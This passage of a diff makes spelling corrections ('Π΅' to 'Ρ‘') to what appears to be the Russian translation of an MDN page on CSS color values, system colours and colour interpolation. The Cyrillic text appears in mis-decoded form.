+ <dd>Π¦Π²Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ Ρ‚Ρ‘ΠΌΠ½ΠΎΠΉ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ) ΠΈΠ· Π΄Π²ΡƒΡ… Π³Ρ€Π°Π½ΠΈΡ†, ΠΎΠ±Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹Ρ… ΠΊ источнику свСта для 3-D элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° Π΄Π²ΡƒΡ… концСнтричСских слоёв ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</dd>
<dt>ThreeDShadow</dt>
- <dd>Π¦Π²Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ свСтлого (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ) ΠΈΠ· Π΄Π²ΡƒΡ… Π³Ρ€Π°Π½ΠΈΡ† ΠΎΡ‚ источника свСта для 3-D элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° Π΄Π²ΡƒΡ… концСнтричСских слоСв ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</dd>
+ <dd>Π¦Π²Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ свСтлого (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ) ΠΈΠ· Π΄Π²ΡƒΡ… Π³Ρ€Π°Π½ΠΈΡ† ΠΎΡ‚ источника свСта для 3-D элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ 3-D ΠΈΠ·-Π·Π° Π΄Π²ΡƒΡ… концСнтричСских слоёв ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</dd>
<dt>Window</dt>
<dd>Π€ΠΎΠ½ ΠΎΠΊΠ½Π°. Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с <code>WindowText</code> Ρ†Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π°.</dd>
<dt>WindowFrame</dt>
@@ -1383,9 +1383,9 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);">
<dt>-moz-ButtonDefault</dt>
<dd>Π¦Π²Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΊΠ½ΠΎΠΏΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ дСйствиС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠΊΠ½Π°.</dd>
<dt>-moz-ButtonHoverFace</dt>
- <dd>Π¦Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΊΠ½ΠΎΠΏΠΊΠΈ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½Π°Π²Π΅Π΄Π΅Π½ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π’Ρ€Π΅Ρ…Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΌ ΠΈΠ»ΠΈ Π»ΠΈΡ†ΠΎΠΌ ΠΊΠ½ΠΎΠΏΠΊΠΈ, ΠΊΠΎΠ³Π΄Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ Π½Π΅ находится Π½Π°Π΄ Π½ΠΈΠΌ). Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с-moz-ΠΊΠ½ΠΎΠΏΠΊΠ° навСдСния тСкста Ρ†Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π°.</dd>
+ <dd>Π¦Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΊΠ½ΠΎΠΏΠΊΠΈ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½Π°Π²Π΅Π΄Ρ‘Π½ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π’Ρ€Ρ‘Ρ…Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΌ ΠΈΠ»ΠΈ Π»ΠΈΡ†ΠΎΠΌ ΠΊΠ½ΠΎΠΏΠΊΠΈ, ΠΊΠΎΠ³Π΄Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ Π½Π΅ находится Π½Π°Π΄ Π½ΠΈΠΌ). Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с-moz-ΠΊΠ½ΠΎΠΏΠΊΠ° навСдСния тСкста Ρ†Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π°.</dd>
<dt>-moz-ButtonHoverText</dt>
- <dd>Π¦Π²Π΅Ρ‚ тСкста ΠΊΠ½ΠΎΠΏΠΊΠΈ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½Π°Π²Π΅Π΄Π΅Π½ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ButtonText, ΠΊΠΎΠ³Π΄Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ Π½Π΅ находится Π½Π°Π΄ Π½ΠΈΠΌ). Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с-<code>-moz-ButtonHoverFace background</code> color.</dd>
+ <dd>Π¦Π²Π΅Ρ‚ тСкста ΠΊΠ½ΠΎΠΏΠΊΠΈ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½Π°Π²Π΅Π΄Ρ‘Π½ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ButtonText, ΠΊΠΎΠ³Π΄Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ Π½Π΅ находится Π½Π°Π΄ Π½ΠΈΠΌ). Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с-<code>-moz-ButtonHoverFace background</code> color.</dd>
<dt>-moz-CellHighlight</dt>
<dd>Π¦Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта Π² Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π΅ Π΄Π΅Ρ€Π΅Π²ΠΎ. Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π° <code>-moz-CellHighlightText</code>. Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅<code>-moz-html-CellHighlight</code>.</dd>
<dt>-moz-CellHighlightText</dt>
@@ -1400,7 +1400,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);">
<dd>Π¦Π²Π΅Ρ‚ тСкста для Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²Ρ‹Ρ… ΠΎΠΊΠΎΠ½. Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Ρ„ΠΎΠ½Π° <code>-moz-Dialog</code>.</dd>
<dt>-moz-dragtargetzone</dt>
<dt>-moz-EvenTreeRow</dt>
- <dd>{{gecko_minversion_inline("1.9")}} Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для Ρ‡Π΅Ρ‚Π½Ρ‹Ρ… строк Π² Π΄Π΅Ρ€Π΅Π²Π΅. Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π° <code>-moz-FieldText</code>. Π’ вСрсиях Gecko Π΄ΠΎ 1.9, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅-moz-ΠΏΠΎΠ»Π΅. Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅ <code>-moz-OddTreeRow</code>.</dd>
+ <dd>{{gecko_minversion_inline("1.9")}} Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для Ρ‡Ρ‘Ρ‚Π½Ρ‹Ρ… строк Π² Π΄Π΅Ρ€Π΅Π²Π΅. Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π° <code>-moz-FieldText</code>. Π’ вСрсиях Gecko Π΄ΠΎ 1.9, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅-moz-ΠΏΠΎΠ»Π΅. Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅ <code>-moz-OddTreeRow</code>.</dd>
<dt>-moz-Field</dt>
<dd>Text field background color. Should be used with the <code>-moz-FieldText</code> foreground color.Β Π¦Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° тСкстового поля. Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π°<code>-moz-FieldText</code>.</dd>
<dt>-moz-FieldText</dt>
@@ -1435,7 +1435,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);">
<dt>-moz-nativehyperlinktext</dt>
<dd>{{Gecko_minversion_inline ("1.9.1")}} Ρ†Π²Π΅Ρ‚ гипСрссылки ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
<dt>-moz-OddTreeRow</dt>
- <dd>{{gecko_minversion_inline("1.9")}} Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для Π½Π΅Ρ‡Π΅Ρ‚Π½Ρ‹Ρ… строк Π² Π΄Π΅Ρ€Π΅Π²Π΅. Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π° <code>-moz-FieldText</code>. Π’ вСрсиях Gecko Π΄ΠΎ 1.9, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>-moz-Field</code>. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ <code>-moz-EvenTreeRow</code>.</dd>
+ <dd>{{gecko_minversion_inline("1.9")}} Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для Π½Π΅Ρ‡Ρ‘Ρ‚Π½Ρ‹Ρ… строк Π² Π΄Π΅Ρ€Π΅Π²Π΅. Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π° <code>-moz-FieldText</code>. Π’ вСрсиях Gecko Π΄ΠΎ 1.9, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>-moz-Field</code>. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ <code>-moz-EvenTreeRow</code>.</dd>
<dt>-moz-win-communicationstext</dt>
<dd>{{gecko_minversion_inline ("1.9")}} слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для тСкста Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ… с <code>{{cssxref ("- moz-appearance")}}:- moz-win-communications-toolbox;</code>.</dd>
<dt>-moz-win-mediatext</dt>
@@ -1445,7 +1445,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);">
Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для доступа ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ Ρ†Π²Π΅Ρ‚Ρƒ Π°ΠΊΡ†Π΅Π½Ρ‚Π° Windows 10, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π² мСню ΠŸΡƒΡΠΊ, ΠΏΠ°Π½Π΅Π»ΠΈ Π·Π°Π΄Π°Ρ‡, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Ρ… ΠΈ Ρ‚. Π΄.</dd>
<dt>-moz-win-accentcolortext</dt>
<dd>{{gecko_minversion_inline ("56")}}<br>
- Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для доступа ΠΊ Ρ†Π²Π΅Ρ‚Ρƒ тСкста, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ Π½Π°Π΄ Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°ΠΊΡ†Π΅Π½Ρ‚Π° Windows 10 Π² мСню ΠŸΡƒΡΠΊ, ΠΏΠ°Π½Π΅Π»ΠΈ Π·Π°Π΄Π°Ρ‡, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Ρ… ΠΈ Ρ‚. Π΄.</dd>
+ Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для доступа ΠΊ Ρ†Π²Π΅Ρ‚Ρƒ тСкста, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ Π½Π°Π΄ Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°ΠΊΡ†Π΅Π½Ρ‚Π° Windows 10 Π² мСню ΠŸΡƒΡΠΊ, ΠΏΠ°Π½Π΅Π»ΠΈ Π·Π°Π΄Π°Ρ‡, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Ρ… ΠΈ Ρ‚. Π΄.</dd>
</dl>
<h3 id="Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ_Π¦Π²Π΅Ρ‚ΠΎΠ²Ρ‹Ρ…_ΠŸΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠΉ_Mozilla">Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π¦Π²Π΅Ρ‚ΠΎΠ²Ρ‹Ρ… ΠŸΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠΉ Mozilla</h3>
@@ -1460,16 +1460,16 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);">
<dt>-moz-hyperlinktext</dt>
<dd>ΠŸΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ для Ρ†Π²Π΅Ρ‚Π° тСкста Π½Π΅ΠΏΡ€ΠΎΡˆΠ΅Π½Ρ‹Ρ… ссылок. Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Ρ„ΠΎΠ½Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
<dt>-moz-visitedhyperlinktext</dt>
- <dd>ΠŸΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ для Ρ†Π²Π΅Ρ‚Π° тСкста посСщСнных ссылок. Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Ρ„ΠΎΠ½Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ для Ρ†Π²Π΅Ρ‚Π° тСкста посСщённых ссылок. Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Ρ„ΠΎΠ½Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
</dl>
<h2 id="Π˜Π½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΡΡ†ΠΈΡ">Π˜Π½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΡΡ†ΠΈΡ</h2>
-<p>Π’ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°Ρ… </a>значСния <code>&lt;color&gt;</code> ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π½Π° ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΈΡ… <a href="https://www.gimp.org/docs/plug-in/appendix-alpha.html">красных, Π·Π΅Π»Π΅Π½Ρ‹Ρ… ΠΈ синих ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²</a>. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ интСрполируСтся ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ΅ число с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ интСрполяция Ρ†Π²Π΅Ρ‚ΠΎΠ² происходит Π² ΠΠ»ΡŒΡ„Π°-ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½Π½ΠΎΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΌ пространствС rgba, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ появлСниС Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹Ρ… сСрых Ρ†Π²Π΅Ρ‚ΠΎΠ². Π’ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ интСрполяции опрСдСляСтся <a href="/en-US/docs/Web/CSS/single-transition-timing-function">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>.</p>
+<p>Π’ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°Ρ… </a>значСния <code>&lt;color&gt;</code> ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π½Π° ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΈΡ… <a href="https://www.gimp.org/docs/plug-in/appendix-alpha.html">красных, Π·Π΅Π»Ρ‘Π½Ρ‹Ρ… ΠΈ синих ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²</a>. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ интСрполируСтся ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ΅ число с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ интСрполяция Ρ†Π²Π΅Ρ‚ΠΎΠ² происходит Π² ΠΠ»ΡŒΡ„Π°-ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½Π½ΠΎΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΌ пространствС rgba, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ появлСниС Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹Ρ… сСрых Ρ†Π²Π΅Ρ‚ΠΎΠ². Π’ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ интСрполяции опрСдСляСтся <a href="/en-US/docs/Web/CSS/single-transition-timing-function">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>.</p>
<h2 id="БообраТСния_доступности">БообраТСния доступности</h2>
-<p>НСкоторыС люди с Ρ‚Ρ€ΡƒΠ΄ΠΎΠΌ Ρ€Π°Π·Π»ΠΈΡ‡Π°ΡŽΡ‚ Ρ†Π²Π΅Ρ‚Π°. РСкомСндация <a href="https://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ Π² качСствС СдинствСнного срСдства ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ сообщСния, дСйствия ΠΈΠ»ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ см. Π’ <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Ρ€Π°Π·Π΄Π΅Π»Π΅ Ρ†Π²Π΅Ρ‚ ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ контраст</a>.</p>
+<p>НСкоторыС люди с Ρ‚Ρ€ΡƒΠ΄ΠΎΠΌ Ρ€Π°Π·Π»ΠΈΡ‡Π°ΡŽΡ‚ Ρ†Π²Π΅Ρ‚Π°. РСкомСндация <a href="https://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ Π² качСствС СдинствСнного срСдства ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ сообщСния, дСйствия ΠΈΠ»ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ см. Π’ <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Ρ€Π°Π·Π΄Π΅Π»Π΅ Ρ†Π²Π΅Ρ‚ ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ контраст</a>.</p>
<h2 id="ВСхничСскиС_характСристики">ВСхничСскиС характСристики</h2>
@@ -1485,7 +1485,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);">
<tr>
<td>{{SpecName('CSS4 Colors', '#colorunits', '&lt;color&gt;')}}</td>
<td>{{Spec2('CSS4 Colors')}}</td>
